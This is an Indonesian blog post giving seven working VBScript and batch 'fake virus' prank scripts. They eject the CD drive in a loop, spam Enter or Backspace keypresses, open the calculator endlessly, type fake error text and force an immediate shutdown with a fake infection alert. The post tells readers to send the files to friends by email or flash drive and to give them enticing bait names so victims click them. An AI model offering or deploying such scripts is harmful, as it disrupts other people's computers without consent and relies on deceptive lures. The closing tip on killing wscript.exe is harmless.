Membuat Virus Gadungan Dengan Notepad

Artikel ini saya adaptasi dari blognya BinusHacker. Soalnya saya kepengen banget bisa kuliah di BINUS. Tapi biayanya itu lho yang bikin KanKer alias kantong kering ( ha..ha.. gak ada hubunganya sama postingan ini kali )

Oke, script-script untuk membuat virus gadungan dibawah ini bisa membuat teman-teman kamu jengkel, bingung, atau kaget. Caranya kamu ketik langsung atau copas ke notepad, setelah itu kamu simpan dan berikan ke teman-teman kamu. Bisa lewat email atau lewat flashdisk biasa. Jika teman kamu klik filenya, maka script ini akan berjalan di komputer mereka.

Jika kamu copas ( Copy-Paste ) script dibawah ini kemudian tidak berhasil jalan, kemungkinan ada perbedaan penulisan tanda kutip ( " ) pada masing-masing notepad. Oleh karena itu untuk menghindari script tidak bisa berjalan lebih baik kamu ketik manual saja biar bisa dijalankan nantinya.

1. Iseng Mengeject CD-Drive Terus Menerus

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Kemudian save dengan “TERSERAHKAMU.VBS” & Berikan keteman kamu

2. Iseng Dengan Tombol Enter Terus Menerus

Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Kemudian save dengan “TERSERAHKAMU.VBS” & Berikan keteman kamu

Lanjut lagi membuat virus selanjutnya..
3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(”WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

Kemudian save dengan “TERSERAHKAMU.VBS” & Berikan keteman kamu

4. Iseng Dengan Backspace

MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Kemudian save dengan “TERSERAHKAMU.VBS” & Berikan keteman kamu

5. Iseng Dengan Membuka Calculator Terus Menerus

@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top

Kemudian save dengan “TERSERAHKAMU.BAT” & Berikan keteman kamu

6. Iseng Dengan Keyboard

Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop

Kemudian save dengan “TERSERAHKAMU.VBS” & Berikan keteman kamu

7. Iseng Dengan Shutdown Computer

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Kemudian save dengan “TERSERAHKAMU.BAT” & Berikan keteman kamu

==================================================
Kamu bisa memodifikasi script untuk membuat virus gadungan diatas sesuka kamu. Jangan terlalu berbahaya loh ya !
Agar file tersebut segera diklik teman kamu maka buat nama yang unik untuk filenya. Misalnya Maria-Ozawa.vbs atau Rin-Sakuragi.vbs biar temen kamu penasaran dan dia klik filenya.

Oh iya.. Kalau misalnya kamu isengin komputer pacar kamu nih, kemudian dia kaget dan bingung, terus dia minta tolong ke kamu bagaimana cara mematikannya, ini kesempatan buat kamu untuk jadi pahlawaannya dia ( padahal pelakunya kamu sendiri lho :) .

Cara mematikan proses script yang sedang berjalan ini adalah dengan membuka Task Manager ( CTRL + ALT + DEL ) kemudian pada menu processes matikan file wscript.exe atau restart saja komputer korban. Beres...